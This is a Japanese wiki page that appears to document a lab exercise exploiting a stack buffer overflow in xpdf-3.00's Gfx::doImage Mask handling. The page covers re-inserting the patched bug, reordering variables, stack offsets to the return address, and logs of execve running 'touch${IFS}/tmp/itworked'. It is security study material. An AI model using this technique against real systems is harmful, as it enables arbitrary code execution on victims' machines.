FrontPage > Armadillo-9 > exploit xpdf

xpdf へのバッファオーバーフロー攻撃

  • x86 の攻撃のときに得た、基礎的な知見を述べています。ARM 版の詳細はこちら。

環境

  • CPU: x86
  • OS: Debian Sarge
  • target: xpdf-3.00
    • この脆弱性は xpdf-3.00pl2.patch で対応された。
    • Debian のは既にパッチが当たってるので、脆弱性を埋め込んだ独自ビルドを行う。
  • 独自ビルドについて
    • lesstif を使った
    • configure に書いてあるコンパイラに渡すフラグ -O2 を解除する。
    • Debian Sarge の xpdf.3.00-orig.tar.gz を参考に、Debian Sarge 版のソースにオリジナルの脆弱性を埋め込んだ。
    • maskColors を宣言する位置を変える。詳細は後述する。
      Gfx.cc:2660 行付近
      パッチが当たると、以下のように境界チェックが入る。
      if (maskObj.isArray()) {
        for (i = 0;
             i < maskObj.arrayGetLength() && i < 2*gfxColorMaxComps;
             ++i) {
          maskObj.arrayGet(i, &obj1);
          maskColors[i] = obj1.getInt();
      -----------------------------------------------------------------
      // get the mask
      haveMask = gFalse;
      dict->lookup("Mask", &maskObj);
      if (maskObj.isArray()) {
        for (i = 0; i < maskObj.arrayGetLength(); ++i) {
          maskObj.arrayGet(i, &obj1);
          maskColors[i] = obj1.getInt();
          obj1.free();
        }
        haveMask = gTrue;
      }
  • スタティックリンクについて
    • configure を編集して、フラグ -lXxxx の前に -lpthread を突っ込む
    • g++ -g --static -DHAVE_CONFIG_H -I.. -I./../goo -I./../fofi -I./../splash -I. -I/usr/include/freetype2 -I/usr/X11R6/include -o xpdf Annot.o Array.o BuiltinFont.o BuiltinFontTables.o Catalog.o CharCodeToUnicode.o CMap.o Decrypt.o Dict.o Error.o FontEncodingTables.o Function.o Gfx.o GfxFont.o GfxState.o GlobalParams.o JArithmeticDecoder.o JBIG2Stream.o JPXStream.o Lexer.o Link.o NameToCharCode.o Object.o Outline.o OutputDev.o Page.o Parser.o PDFDoc.o PDFDocEncoding.o PSOutputDev.o PSTokenizer.o SplashOutputDev.o Stream.o TextOutputDev.o UnicodeMap.o UnicodeTypeTable.o XPDFApp.o XPDFCore.o XPDFTree.o XPDFViewer.o XRef.o XSplashOutputDev.o xpdf.o -L../goo -lGoo -L../splash -lsplash -lt1 -lfreetype -lz -lpthread -lXm -lpthread -lXt -lSM -lICE -L/usr/X11R6/lib -lX11 -L../fofi -lfofi -L../goo -lGoo -lm
    • ↑がエラーで落ちるので、-lXm の前に -lXpm を入れる。

実行結果

  • ARM で成功。
    ~/apps/xpdf_exploit$ ls -ls /tmp/itworked
    ls: /tmp/itworked: No such file or directory
    ~/apps/xpdf_exploit$ ./xpdf_change_arm ./exploit_xpdf_change_arm_sarge.pdf 
    Error: No display font for 'Courier'
    Error: No display font for 'Courier-Bold'
    (...snip...)
    Error (0): PDF file is damaged - attempting to reconstruct xref table...
    ~/apps/xpdf_exploit$ ls -ls /tmp/itworked
    0 -rw-r--r--  1 a users 0 Aug 24 12:36 /tmp/itworked
  • x86 で成功。
    • 攻撃が成功すると sys_execve が実行され、touch${IFS}/tmp/itworked が実行され、それにより /tmp/itworked が生成される。
    • フルパスで指定しないと、スタックの位置がずれてしまって攻撃が失敗したりするので困りますね。
      /tmp$ ls -la /tmp/itworked
      ls: /tmp/itworked: No such file or directory
      /tmp$ /tmp/xpdf /tmp/exploit_i386.pdf
      Error: No display font for 'Courier'
      Error: No display font for 'Courier-Bold'
      (...snip...)
      Warning: Cannot convert string "-*-times-medium-r-normal--16-*-*-*-*-*-iso8859-1" to type FontStruct
      Error (0): PDF file is damaged - attempting to reconstruct xref table...
      /tmp$ ls -la /tmp/itworked
      -rw-r--r--  1 a a 0 2006-08-14 03:02 /tmp/itworked

攻撃対象、条件

脆弱性のある関数

  • Gfx.cc の Gfx::doImage という関数に、バッファオーバーフロー脆弱性がある。
    • 脆弱性のある箇所は Gfx.cc の 2660行目あたりである。
  • ループの条件で、バッファの境界チェックがなされていないため、ファイルから読み込んだ整数値(Mask)を、バッファ境界を越えた位置まで書ける。

脆弱性の詳細

  • pdf では画像の透明部分を指定するために /Mask [255 255 1000 2000] のように Mask を記述できる。たぶん。
  • 上記の Mask が読み込まれる maskColors という固定長バッファ(64 要素の int 型配列)に対して、バッファオーバーフロー攻撃を行う。

注意点

攻撃の詳細

攻撃対象の変数

ローカル変数の配置は以下のようになっている。

| 0x00000000
|[maskColors] //攻撃対象
|[maskObj] //maskColors の取得に必要な変数
|...
|[return address]
| 0xffffffff
Debian Sarge の環境では、maskColors の先頭からリターンアドレスまでは 320 バイト離れている。
  • maskColors の取得には maskObj を使っているので、maskObj を壊さないようにオーバーフローさせる必要がある。
    • しかし元のコードだと配置が良くないため、単純にオーバーフローさせると maskObj を壊してしまって、攻撃できない。
  • そこでソースコードを以下のように変更し、maskColors より手前のメモリ番地に maskObj が登場するようにした。
    • (ARM 版)
    • (x86 版)この変更によって、maskColors の先頭からリターンアドレスまでの距離が 16 バイト縮まって、268 バイトになる。
       int maskColors[2*gfxColorMaxComps]; //こちらに移動した
       Dict *dict;
       int width, height;
       int bits;
       GBool mask;
       GBool invert;
       GfxColorSpace *colorSpace;
       GfxImageColorMap *colorMap;
       Object maskObj;
       GBool haveMask;
       //int maskColors[2*gfxColorMaxComps]; //この行を
       Object obj1, obj2;
       int i;

参考

void Gfx::doImage(Object *ref, Stream *str, GBool inlineImg) {
  Dict *dict;
  int width, height;
  int bits;
  GBool mask;
  GBool invert;
  GfxColorSpace *colorSpace;
  GfxImageColorMap *colorMap;
  Object maskObj;
  GBool haveMask;
  int maskColors[2*gfxColorMaxComps];
  Object obj1, obj2;
  int i;
  ...
  // get the mask
  haveMask = gFalse;
  dict->lookup("Mask", &maskObj);
  if (maskObj.isArray()) {
    for (i = 0; i < maskObj.arrayGetLength(); ++i) {
      maskObj.arrayGet(i, &obj1);
[!]   maskColors[i] = obj1.getInt();
      obj1.free();
    }
    haveMask = gTrue;
  }
  ...
}

その他

pdf の仕組みなどが解ったら書いていく。

Image オブジェクト(?)がある行に、いきなり /Mask などを追加すると、xref テーブルが壊れているとかなんとか言われてしまうが、一応読めはするらしい。

Author とか Creator の後に並んでいる 16進数のようなものは、ビッグエンディアンの Unicode のようだ。ただ、これも書き換えると xref テーブルがどうのこうの言われる。


トップ   編集 凍結 差分 バックアップ 添付 複製 名前変更 リロード   新規 一覧 単語検索 最終更新   ヘルプ   最終更新のRSS
Last-modified: 2014-09-13 (土) 08:26:38 (1549d)